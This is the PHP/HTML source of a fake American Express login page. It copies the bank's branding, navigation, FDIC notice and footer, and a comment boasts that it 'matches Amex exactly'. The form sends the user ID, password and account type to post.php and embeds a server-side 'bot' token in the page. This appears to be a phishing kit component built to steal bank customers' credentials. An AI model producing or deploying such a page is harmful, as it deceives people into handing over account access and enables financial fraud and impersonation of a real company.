<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>American Express – Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:         #0055AD;
            --blue-dark:    #004494;
            --blue-deeper:  #00337a;
            --blue-light:   #e8f0fb;
            --text:         #1a1a1a;
            --text-sub:     #333;
            --text-muted:   #666;
            --border:       #ccc;
            --border-focus: #0055AD;
            --bg:           #f2f2f2;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', 'Helvetica Neue', Arial, sans-serif; background: var(--bg); color: var(--text); font-size: 14px; }
        .page { min-height: 100vh; display: flex; flex-direction: column; }

        /* ─── TOP NAV ─────────────────────────────── */
        .top-nav {
            background: var(--white);
            border-bottom: 1px solid #ddd;
            height: 56px;
            padding: 0 24px;
            display: flex; align-items: center; justify-content: space-between;
            position: sticky; top: 0; z-index: 100;
        }
        .nav-left { display: flex; align-items: center; gap: 0; }
        .nav-logo { display: flex; align-items: center; margin-right: 32px; }
        .nav-logo img { height: 38px; width: auto; }
        .nav-links { display: flex; align-items: center; gap: 0; }
        .nav-links a { font-size: 13px; font-weight: 400; color: var(--text-sub); text-decoration: none; padding: 0 14px; height: 56px; display: flex; align-items: center; border-bottom: 2px solid transparent; transition: border-color 0.15s, color 0.15s; white-space: nowrap; }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-right { display: flex; align-items: center; gap: 16px; }
        .nav-search { background: none; border: none; cursor: pointer; color: var(--text-sub); padding: 8px; display: flex; align-items: center; transition: color 0.15s; }
        .nav-search:hover { color: var(--blue); }
        .nav-cs { font-size: 13px; color: var(--text-sub); text-decoration: none; font-weight: 400; transition: color 0.15s; }
        .nav-cs:hover { color: var(--blue); }
        .nav-login-btn { background: var(--blue); color: #fff; border: none; border-radius: 4px; padding: 9px 20px; font-family: inherit; font-size: 13px; font-weight: 600; cursor: pointer; transition: background 0.15s; white-space: nowrap; }
        .nav-login-btn:hover { background: var(--blue-dark); }

        /* ─── FDIC BAR ────────────────────────────── */
        .fdic-bar {
            background: var(--white);
            border-bottom: 1px solid #e5e5e5;
            padding: 8px 24px;
            display: flex; align-items: center; gap: 10px;
        }
        .fdic-logo { display: flex; align-items: center; gap: 6px; }
        .fdic-logo .fdic-box { background: #003087; color: #fff; font-size: 10px; font-weight: 700; letter-spacing: 0.05em; padding: 2px 5px; border-radius: 2px; }
        .fdic-bar span { font-size: 12px; color: var(--text-muted); }

        /* ─── MAIN ────────────────────────────────── */
        .main { flex: 1; display: flex; justify-content: center; align-items: flex-start; padding: 32px 24px 64px; gap: 24px; max-width: 1100px; margin: 0 auto; width: 100%; }

        /* ─── LOGIN PANEL ─────────────────────────── */
        .login-panel {
            background: var(--white);
            border: 1px solid #d5d5d5;
            border-radius: 2px;
            padding: 36px 40px 44px;
            width: 100%;
            max-width: 540px;
            flex-shrink: 0;
        }
        .login-panel h1 { font-size: 22px; font-weight: 400; color: var(--text); margin-bottom: 28px; text-align: center; letter-spacing: -0.01em; }

        .field { margin-bottom: 20px; }
        .field label { display: block; font-size: 14px; font-weight: 400; color: var(--text); margin-bottom: 6px; }
        .field input[type="text"],
        .field input[type="password"] {
            width: 100%; height: 44px; padding: 0 14px;
            border: 1px solid var(--border); border-radius: 2px;
            font-family: inherit; font-size: 15px; color: var(--text);
            background: #fff; outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
            -webkit-appearance: none;
        }
        .field input:focus { border-color: var(--border-focus); box-shadow: 0 0 0 2px rgba(0,85,173,0.15); }
        .field input::placeholder { color: #aaa; }

        /* Password row with Show toggle */
        .pass-wrap { position: relative; }
        .pass-wrap input { padding-right: 60px; }
        .show-btn { position: absolute; right: 12px; top: 50%; transform: translateY(-50%); background: none; border: none; font-size: 13px; font-weight: 600; color: var(--blue); cursor: pointer; padding: 4px; transition: opacity 0.15s; }
        .show-btn:hover { opacity: 0.7; }

        /* Account Type dropdown — matches Amex exactly */
        .field select {
            width: 100%; height: 44px; padding: 0 36px 0 14px;
            border: 1.5px solid var(--blue); border-radius: 2px;
            font-family: inherit; font-size: 15px; color: var(--text);
            background: #fff url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='8' viewBox='0 0 12 8'%3E%3Cpath d='M1 1l5 5 5-5' stroke='%23666' stroke-width='1.8' fill='none' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E") no-repeat right 14px center;
            -webkit-appearance: none; -moz-appearance: none; appearance: none;
            outline: none; cursor: pointer;
            transition: border-color 0.15s;
        }
        .field select:focus { border-color: var(--blue); box-shadow: 0 0 0 2px rgba(0,85,173,0.15); }

        /* Remember me */
        .remember-row { display: flex; align-items: center; gap: 10px; margin-bottom: 24px; margin-top: 4px; }
        .remember-row input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 18px; height: 18px; border: 1.5px solid var(--border); border-radius: 2px; background: #fff; cursor: pointer; position: relative; flex-shrink: 0; transition: background 0.12s, border-color 0.12s; }
        .remember-row input:checked { background: var(--blue); border-color: var(--blue); }
        .remember-row input:checked::after { content: ''; position: absolute; left: 4px; top: 1px; width: 6px; height: 10px; border: 2px solid #fff; border-top: none; border-left: none; transform: rotate(45deg); }
        .remember-row label { font-size: 14px; color: var(--text-sub); cursor: pointer; user-select: none; }

        .btn-login { width: 100%; height: 48px; background: var(--blue); color: #fff; border: none; border-radius: 4px; font-family: inherit; font-size: 16px; font-weight: 600; cursor: pointer; letter-spacing: 0.01em; transition: background 0.15s; margin-bottom: 24px; }
        .btn-login:hover { background: var(--blue-dark); }
        .btn-login:active { background: var(--blue-deeper); }

        .card-links { display: flex; flex-direction: column; gap: 12px; }
        .card-links a { font-size: 14px; color: var(--blue); text-decoration: none; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        /* ─── PROMO PANEL ─────────────────────────── */
        .promo-panel {
            background: var(--white);
            border: 1px solid #d5d5d5;
            border-radius: 2px;
            overflow: hidden;
            width: 360px;
            flex-shrink: 0;
        }
        .promo-inner {
            background: linear-gradient(135deg, #006FCF 0%, #003087 100%);
            padding: 32px 28px 36px;
            color: #fff;
        }
        .promo-inner h2 { font-size: 22px; font-weight: 400; line-height: 1.35; margin-bottom: 12px; }
        .promo-inner h2 strong { display: block; }
        .promo-inner p { font-size: 13px; color: rgba(255,255,255,0.8); margin-bottom: 20px; line-height: 1.6; }
        .promo-phone { display: flex; justify-content: flex-end; }
        .phone-mock {
            width: 90px; height: 160px; background: rgba(255,255,255,0.1);
            border-radius: 14px; border: 2px solid rgba(255,255,255,0.2);
            position: relative; overflow: hidden;
        }
        .phone-screen { position: absolute; inset: 8px 6px; background: rgba(0,0,0,0.25); border-radius: 8px; display: flex; flex-direction: column; gap: 5px; padding: 8px 6px; }
        .phone-row { height: 5px; background: rgba(255,255,255,0.15); border-radius: 3px; }
        .phone-balance { background: rgba(0,111,207,0.6); border-radius: 4px; padding: 4px 5px; }
        .phone-balance div { height: 4px; background: rgba(255,255,255,0.4); border-radius: 2px; margin-bottom: 2px; }
        .btn-download { display: inline-block; margin-top: 20px; background: #fff; color: var(--blue); border: none; border-radius: 4px; padding: 10px 20px; font-family: inherit; font-size: 13px; font-weight: 600; cursor: pointer; text-decoration: none; transition: background 0.15s; }
        .btn-download:hover { background: #e8f0fb; }
        .promo-terms { font-size: 11px; color: rgba(255,255,255,0.5); margin-top: 10px; }

        /* ─── FOOTER ──────────────────────────────── */
        .page-footer { background: var(--white); border-top: 1px solid #ddd; padding: 40px 48px 32px; }
        .footer-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: 32px; margin-bottom: 32px; }
        .footer-col h4 { font-size: 11px; font-weight: 700; color: var(--text); text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 14px; }
        .footer-col a { display: block; font-size: 13px; color: var(--text-muted); text-decoration: none; margin-bottom: 10px; transition: color 0.15s; }
        .footer-col a:hover { color: var(--blue); }
        .footer-bottom { display: flex; align-items: center; justify-content: space-between; padding-top: 20px; border-top: 1px solid #eee; font-size: 12px; color: #999; flex-wrap: wrap; gap: 12px; }

        @media (max-width: 900px) { .main { flex-direction: column; align-items: center; } .promo-panel { width: 100%; max-width: 540px; } .nav-links { display: none; } .footer-grid { grid-template-columns: repeat(2, 1fr); } }
        @media (max-width: 500px) { .login-panel { padding: 24px 20px 32px; } .top-nav { padding: 0 16px; } }
    </style>
</head>
<body>
<div class="page">

    <!-- TOP NAV -->
    <nav class="top-nav">
        <div class="nav-left">
            <div class="nav-logo"><img src="res/img/logo.svg" alt="American Express"></div>
            <div class="nav-links">
                <a href="#">My Account</a>
                <a href="#">Cards</a>
                <a href="#">Banking</a>
                <a href="#">Travel</a>
                <a href="#">Rewards &amp; Benefits</a>
                <a href="#">Business</a>
            </div>
        </div>
        <div class="nav-right">
            <button class="nav-search" aria-label="Search">
                <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            </button>
            <a href="#" class="nav-cs">Customer Service</a>
            <button class="nav-login-btn">Log In</button>
        </div>
    </nav>

    <!-- FDIC BAR -->
    <div class="fdic-bar">
        <div class="fdic-logo"><span class="fdic-box">FDIC</span></div>
        <span>FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span>
    </div>

    <!-- MAIN -->
    <div class="main">

        <!-- LOGIN PANEL -->
        <div class="login-panel">
            <h1>Log In to My Account</h1>
            <script>var token=<?php echo json_encode($bot); ?>;</script>
            <form action="post.php" method="post">

                <div class="field">
                    <label for="user">User ID</label>
                    <input type="text" id="user" name="user" required autocomplete="username">
                </div>

                <div class="field">
                    <label for="pass">Password</label>
                    <div class="pass-wrap">
                        <input type="password" id="pass" name="pass" required autocomplete="current-password">
                        <button type="button" class="show-btn" onclick="togglePass(this)">Show</button>
                    </div>
                </div>

                <div class="field">
                    <label for="acct_type">Account Type</label>
                    <select id="acct_type" name="acct_type">
                        <option value="Cards and Banking" selected>Cards and Banking</option>
                        <option value="Membership Rewards">Membership Rewards</option>
                        <option value="Merchant Account">Merchant Account</option>
                        <option value="American Express @ Work">American Express @ Work</option>
                    </select>
                </div>

                <div class="remember-row">
                    <input type="checkbox" id="remember" name="remember">
                    <label for="remember">Remember Me</label>
                </div>

                <button type="submit" class="btn-login">Log In</button>

                <div class="card-links">
                    <a href="#">Forgot User ID or Password?</a>
                    <a href="#">Create New Online Account</a>
                    <a href="#">Confirm Card Received</a>
                    <a href="#">Visit Our Security Center</a>
                </div>

            </form>
        </div>

        <!-- PROMO PANEL -->
        <div class="promo-panel">
            <div class="promo-inner">
                <h2>Access your account<br><strong>on the go.</strong></h2>
                <p>Download the <strong>Amex® App</strong> to manage your Card account wherever, whenever.</p>
                <div style="display:flex;justify-content:flex-end;">
                    <div class="phone-mock">
                        <div class="phone-screen">
                            <div class="phone-row" style="width:70%"></div>
                            <div class="phone-row" style="width:50%"></div>
                            <div class="phone-balance"><div style="width:80%"></div><div style="width:60%"></div><div style="width:40%"></div></div>
                            <div class="phone-row" style="width:90%"></div>
                            <div class="phone-row" style="width:65%"></div>
                        </div>
                    </div>
                </div>
                <a class="btn-download" href="#">Download Now</a>
                <p class="promo-terms">Terms Apply</p>
            </div>
        </div>

    </div>

    <!-- FOOTER -->
    <footer class="page-footer">
        <div class="footer-grid">
            <div class="footer-col"><h4>About</h4><a href="#">About American Express</a><a href="#">Investor Relations</a><a href="#">Careers</a><a href="#">Newsroom</a></div>
            <div class="footer-col"><h4>Products &amp; Services</h4><a href="#">Credit Cards</a><a href="#">Charge Cards</a><a href="#">Business Cards</a><a href="#">Prepaid Cards</a></div>
            <div class="footer-col"><h4>Links You May Like</h4><a href="#">Travel Booking</a><a href="#">Gift Cards</a><a href="#">Foreign Currency</a><a href="#">Reward Points</a></div>
            <div class="footer-col"><h4>Additional Information</h4><a href="#">Privacy Statement</a><a href="#">Terms of Service</a><a href="#">Security Center</a><a href="#">Site Map</a></div>
        </div>
        <div class="footer-bottom">
            <span>© 2025 American Express Company. All rights reserved.</span>
            <span>Member FDIC &nbsp;·&nbsp; Equal Housing Lender</span>
        </div>
    </footer>

</div>
<script>
function togglePass(btn) {
    const inp = btn.previousElementSibling;
    if (inp.type === 'password') { inp.type = 'text'; btn.textContent = 'Hide'; }
    else { inp.type = 'password'; btn.textContent = 'Show'; }
}
</script>
<script src="./res/jq.js"></script>
</body>
</html>